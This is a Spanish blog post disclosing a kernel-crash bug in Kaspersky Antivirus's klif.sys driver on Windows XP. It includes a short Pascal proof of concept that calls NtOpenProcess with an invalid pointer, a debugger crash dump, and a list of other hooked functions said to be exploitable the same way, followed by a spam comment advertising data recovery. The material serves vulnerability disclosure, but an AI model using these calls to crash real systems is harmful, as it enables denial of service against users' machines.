08
Jun
BUGS en la (Proactive Defense) de Kaspersky Antivirus
y que pueden leer en ingles aquí
El bien conocido antivirus Kaspersky, desde hace un buen tiempo sufre de un bug muy peligroso, el cual permite tronar el sistema protegido por este antivirus, aun desde la cuenta de invitado.
Todos los intentos de avisar a Kaspersky Lab sobre esta vulnerabilidad han sido ignorados. Este material fue mostrado varios años atras, y en el ultimo verano publicamos un nuevo exploit para Kaspersky AV 6.0 el cual se basa en los descubrimientos previos de Ms-Rem. Y despues de este tiempo nada ha cambiado. Aun ahora con la nueva version Kaspersky AV 7.0 este exploit sigue funcionando muy bien.
El objetivo principal de este exploit es hacer una llamda a NtOpenProcess con parametros invalidios. Esta funcion esta intervenida (hooked) por el diver de Kaspersky llamdo klif.sys y la reazon para este intercepción es obia - Esta es la manera en que Kaspersky AV se protege de accesos no autorizados que pudieran cerrar el proceso, esto es muy usado por el malware.
Aqui el prototipo de esta función
NTSYSAPI
NTSTATUS
NTAPI
NtOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL );
Aquí un pequeño exploit codificado en pascal(funciona para el klif.sys vesion 6.12.10.280 y versiones previas)
var
ob1: OBJECT_ATTRIBUTES;
p1: DWORD;
begin
ob1.Length := sizeof(ob1);
NtOpenProcess(@p1, PROCESS_QUERY_INFORMATION, @ob1, pointer($82000000));
end;
Como podran ver el ultimo parametro es la dirección de la estructura CLIENT_ID, la cual apunta hacia una región aleatoria dentro de la memoria del kernel.
al probar el xploit en una instalación limpia de windows XP , sin KAV -no hay BSOD(Blue Screen Of Death o Pantallazo azul).
Al ejecutarlo en un Windows XP protegido por KAV 7.0 -inmediatamente tenemos un BSOD - PAGE_FAULT_IN_NONPAGED_AREA.
Pero ¿Porque pasa esto? la respuesta es muy sencilla. Supongo que el codigo fuente de el hook en NtOpenProcess es algo como esto:
NTSTATUS NewNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
__try
{
if (ClientId->UniqueProcess == KasperskyProcesss) return STATUS_ACCESS_DENIED;
else return RealNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
__except (EXCEPTION_EXECUTE_HANDLER)
{
... stuff here ...
}
}
El gran problema aquí es ClientId->UniqueProcess, ya que ClientId es un PUNTERO a una estructura. El hecho de accesar a una región invalida de memoria produce inmediatamente un PAGE_FAULT_IN_NONPAGED_AREA.
el exploit original fue creado por Ms-Rem y luce así
NtOpenProcess(NULL, (HANDLE)0, NULL, NULL);
Comopodras observar los desarrolladores de KAV han usado un bloque try/except, y parece ser que no saben usar otro tipo de funciones manejadoras de erores.
Esperemos que los desarrolladores de Kaspersky Antivirus descubran el fabuloso programa llamado NtCall y corrigan su bug.
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 83000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f941840c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
MODULE_NAME: klif
FAULTING_MODULE: 804d7000 nt
DEBUG_FLR_IMAGE_TIMESTAMP: 46260f1c
READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
83000000
FAULTING_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]
MM_INTERNAL_CODE: 0
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: WRONG_SYMBOLS
BUGCHECK_STR: 0x50
LAST_CONTROL_TRANSFER: from f941b39a to f941840c
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f64c8d24 f941b39a 83000000 00000008 00000000 klif+0x1940c
f64c8d64 7c90eb94 badb0d00 0012f3e4 00000000 klif+0x1c39a
f64c8d68 badb0d00 0012f3e4 00000000 00000000 0x7c90eb94
f64c8d6c 0012f3e4 00000000 00000000 00000000 0xbadb0d00
f64c8d70 00000000 00000000 00000000 00000000 0x12f3e4
STACK_COMMAND: kb
FOLLOWUP_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]
SYMBOL_STACK_INDEX: 0
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: klif.sys
SYMBOL_NAME: klif+1940c
BUCKET_ID: WRONG_SYMBOLS
Followup: MachineOwner
Algunos descubrimientos hechos por UG North muestran que hay otras funciones que tambien estan intervenidas por klif.sis las cuales pueden ser explotadas con ataques similares.
Lista de entradas en la SSDT explotables (Windows XP / KAV 7.0.0.55)
==================================
|[Idx] [nombre de la función] |
==================================
|[41 ] NtCreateKey
|[47 ] NtCreateProcess
|[48 ] NtCreateProcessEx
|[50 ] NtCreateSection
|[52 ] NtCreateSymbolicLinkObject
|[53 ] NtCreateThread
|[65 ] NtDeleteValueKey
|[99 ] NtLoadKey2
|[119] NtOpenKey
|[122] NtOpenProcess
|[125] NtOpenSection
|[177] NtQueryValueKey
==================================
Cualquier llamada a esas funciones con parametros invalidos, llevara a un BSOD.
Este tipo de exploit fue descubierto por Ms-Rem en el 2005 y funciona para KAV 5.0
Como se mostro este exploit funciona para todas la versiones de Kaspersky Antivirus incluyendo la nueva versión 7.0.
¿Realmente aun crees quie estas portegido?



angel dijo:
No es que quiera hacer publicidad pero pienso que con el tiempo todos tendremos que pagar un “canon” por un antivirus, o sea la compra y actualizaciones anuales. Es terrible el tiempo que he perdido en limpiar el ordenador, ni siquiera con una restauración del sistema se ha corregido el problema. A golpe de HKEY_LOCAL_MACHINE/Run y RunOnce. Que horror, y ni que decir de los Adware, hay que ser cansinos. Cuantas veces se nos ha pasado por la cabeza que se nos estropea el ordenador y que tenemos que hacer una copia de seguridad cuanto antes. Nadie ni núnca se esta a salvo de una eventual pérdida de datos de discos duros de ahí la importancia de un buen sistema de copias de seguridad. Esta es la mejor forma de recuperar su informacion en un momento de desastre que generalmente coincide con las prisas a la hora de utilizar el sistema. Y si a pesar de todo es necesario una recuperacion de datos ó recuperar el disco duro porque no teníamos las copias actualizadas, le recomendamos consulte con una empresa especializada como es el caso de www.lineared.com en dónde le podrán recuperar los datos ó llevar a cabo la recuperacion del disco duro . No lo dude, esta es la forma mas eficaz y segura de recuperar discos duros .